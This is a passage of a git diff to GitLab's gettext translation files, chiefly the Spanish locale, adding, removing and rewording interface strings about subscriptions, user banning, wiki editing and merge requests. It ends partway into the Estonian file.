@@ -30635,9 +31215,6 @@ msgstr "Página de estado"
msgid "StatusPage|Status page URL"
msgstr "URL de la página de estado"
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr "Almacenamiento:"
msgid "StorageSize|Unknown"
msgstr "Desconocido"
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr "Hito del subgrupo"
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr "Se ha producido un error al eliminar la suscripción."
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr "Activado correctamente"
msgid "Successfully approved"
msgstr "Aprobado con éxito"
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr "Bloqueado con éxito"
@@ -30932,6 +31518,9 @@ msgstr "Se ha programado un pipeline a ejecutar. Vaya a la página %{pipelines_l
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr "Desbloqueado con éxito"
@@ -31043,42 +31632,93 @@ msgstr "Resumen"
msgid "Sunday"
msgstr "Domingo"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr "URL de la página de soporte"
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Cambiar rama/etiqueta"
@@ -31340,6 +32013,9 @@ msgstr "Plantilla"
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "Plantillas"
@@ -31494,9 +32170,6 @@ msgstr "Probar"
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr "Análisis de cobertura de las pruebas"
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr "Pruebas"
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr "¡Gracias por registrarse en la versión de prueba! En breve recibirá instrucciones adicionales en su bandeja de entrada."
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr "El grupo \"%{group_path}\" le permite iniciar sesión utilizando su cuenta de inicio de sesión único"
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr "La importación finalizará después de %{timeout}. Para los repositorio
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "No se ha podido aceptar la invitación."
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr "Los conflictos en el merge para este merge request ya se han resuelto. P
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr "Se ha producido un error al recuperar los usuarios."
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr "Se ha producido un error al guardar su etapa personalizada, por favor inténtalo de nuevo"
-
msgid "There was a problem sending the confirmation email"
msgstr "Se ha producido un error al enviar el correo electrónico de confirmación"
@@ -32351,6 +33024,9 @@ msgstr "Se ha producido un error al eliminar la lista de tareas pendientes."
msgid "There was an error fetching configuration for charts"
msgstr "Se ha producido un error al recuperar la configuración de las gráficas"
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr "Se ha producido un error al obtener datos para la etapa seleccionada"
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr "Se ha producido un error al eliminar el correo electrónico."
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr "Se ha producido un error al restablecer los minutos de ejecución de los pipelines del grupo."
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr "Se ha producido un error al restablecer el token de correo electrónico."
@@ -32585,8 +33255,11 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
-msgstr "Esta aplicación fue creada por %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
+msgstr ""
msgid "This application will be able to:"
msgstr "Está aplicación podrá:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr "Esta característica requiere que el almacenamiento local esté activado"
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr "Este campo es obligatorio."
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr "Peticiones anómalas"
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr "Entorno"
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr "Ver documentación"
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr "Web Application Firewall"
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr "Jueves"
msgid "Time"
msgstr "Tiempo"
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr "Basado en tiempo: Si"
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr "Seguimiento de tiempo"
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr "Tiempo hasta la primera solicitud de fusión"
@@ -33417,9 +34087,6 @@ msgstr[1] "mins"
msgid "Time|s"
msgstr "s"
-msgid "Tip:"
-msgstr "Sugerencia:"
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr "Para mover o copiar todo un proyecto de GitLab de una instalación de Gi
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,15 +34318,15 @@ msgstr "Alternar navegación"
msgid "Toggle project select"
msgstr ""
+msgid "Toggle shortcuts"
+msgstr ""
+
msgid "Toggle sidebar"
msgstr "Ocultar/mostrar barra lateral"
msgid "Toggle the Performance Bar"
msgstr ""
-msgid "Toggle this dialog"
-msgstr ""
-
msgid "Toggle thread"
msgstr ""
@@ -33690,9 +34354,6 @@ msgstr "Demasiados espacios de nombres habilitados. Necesitará administrarlos a
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr "Demasiados proyectos habilitados. Necesitará administrarlos a través de la consola o mediante el API."
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr "No se pueden recuperar proyectos no escaneados"
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr "Hasta"
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr "Subir archivo"
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr "Subir un mapa de objetos"
@@ -34838,6 +35511,9 @@ msgstr "Utiliza tu configuración de notificación global"
msgid "Use your smart card to authenticate with the LDAP server."
msgstr "Utilice su tarjeta inteligente para autenticarse contra el servidor LDAP."
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr "Utilizado por los miembros para iniciar sesión en su grupo en GitLab"
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr "Lenguaje de programación utilizado"
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr "Se utiliza para ayudar a configurar su proveedor de identidad"
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr "¿Eliminar %{name}?"
@@ -35108,6 +35805,9 @@ msgstr "en"
msgid "UserProfile|made a private contribution"
msgstr "hizo una colaboración privada"
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr "Nombre de usuario (opcional)"
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr "Usuarios"
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr "Hemos detectado spam potencial en %{humanized_resource_name}. Por favor
msgid "We don't have enough data to show this stage."
msgstr "No hay suficientes datos para mostrar en esta etapa."
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr "Hemos encontrado los siguientes errores:"
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr "No hemos encontrado vulnerabilidades"
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr "Web IDE"
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr "Los Webhooks le permiten invocar una URL si, por ejemplo, se realiza un push a o se crea una nueva incidencia. Puede configurar los webhooks para escuchar eventos específicos como pushes, incidencias, o merge request. Los webhooks de grupo se aplicarán a todos los proyectos de un grupo, permitiéndote estandarizar la funcionalidad del webhook a través de todo el grupo."
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr "¿Quién utilizará esta suscripción de GitLab?"
msgid "Who will be using this GitLab trial?"
msgstr "¿Quién utilizará esta versión de prueba de GitLab?"
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr "Wiki"
@@ -36278,6 +36981,12 @@ msgstr "¿Desea eliminar la página %{pageTitle}?"
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr "Escriba su contenido o arrastre archivos aquí…"
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr "Wikis"
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr "No tiene permiso para aprobar a un usuario"
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr "No puedes escribir en una instancia secundaria de sólo lectura de GitLa
msgid "You cannot write to this read-only GitLab instance."
msgstr "No puede escribir en esta instancia de sólo lectura de GitLab."
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr "No es posible crear un nuevo disparador."
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr "Sus Claves SSH (%{count})"
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr "Sus aplicaciones (%{size})"
msgid "Your authorized applications"
msgstr "Sus aplicaciones autorizadas"
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr "Su navegador no soporta U2F. Por favor, utilice la versión de escritorio de Google Chrome (versión 41 o posterior)."
@@ -37175,9 +37908,6 @@ msgstr "Se ha producido un error al editar su comentario. Por favor, compruebe s
msgid "Your comment will be discarded."
msgstr "Su comentario será descartado."
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr "compartido previamente con este grupo"
-msgid "among other things"
-msgstr "entre otras cosas"
-
msgid "and"
msgstr "y"
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr "incidencia cerrada"
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr "https://tu-servidor-bitbucket"
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr "imagen dif"
@@ -38031,8 +38800,8 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
-msgstr "es de solo lectura"
+msgid "is read-only"
+msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
msgstr "es demasiado largo (%{current_value}). El tamaño máximo permitido es de %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] "merge request"
msgstr[1] "merge requests"
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr "Permitir que los commits de los miembros se pueden mergear con la rama de destino"
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr "se ha producido un error al eliminar su aprobación."
@@ -38222,12 +38991,9 @@ msgstr "Aprobado por"
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
+msgid "mrWidget|Cancel"
msgstr ""
-msgid "mrWidget|Cancel automatic merge"
-msgstr "Cancelar merge automático"
-
msgid "mrWidget|Check out branch"
msgstr "Check-out"
@@ -38267,9 +39033,6 @@ msgstr "Error al cargar las estadísticas de despliegue"
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr "No es posible realizar un merge fast-forward. Para poder hacer un merge de esta solicitud, es necesario hacer rebase localmente."
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr "Si el branch %{missingBranchName} existe en su repositorio local, puede hacer un merge de la solicitud de merge request manualmente utilizando la línea de comandos"
@@ -38285,12 +39048,18 @@ msgstr "Cargando las estadísticas de los despliegues"
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr "Menciones"
msgid "mrWidget|Merge"
msgstr "Merge"
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr "Merge fallido."
@@ -38694,6 +39463,12 @@ msgstr "revisado"
msgid "satisfied"
msgstr "satisfecho"
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr "Se ha producido un error al crear el merge request"
@@ -38817,6 +39592,9 @@ msgstr "la siguiente incidencia(s)"
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr "este documento"
diff --git a/locale/et_EE/gitlab.po b/locale/et_EE/gitlab.po
index 6f5371380be..e954e5f16e2 100644
--- a/locale/et_EE/gitlab.po
+++ b/locale/et_EE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: et\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:12\n"
+"PO-Revision-Date: 2021-06-01 20:23\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
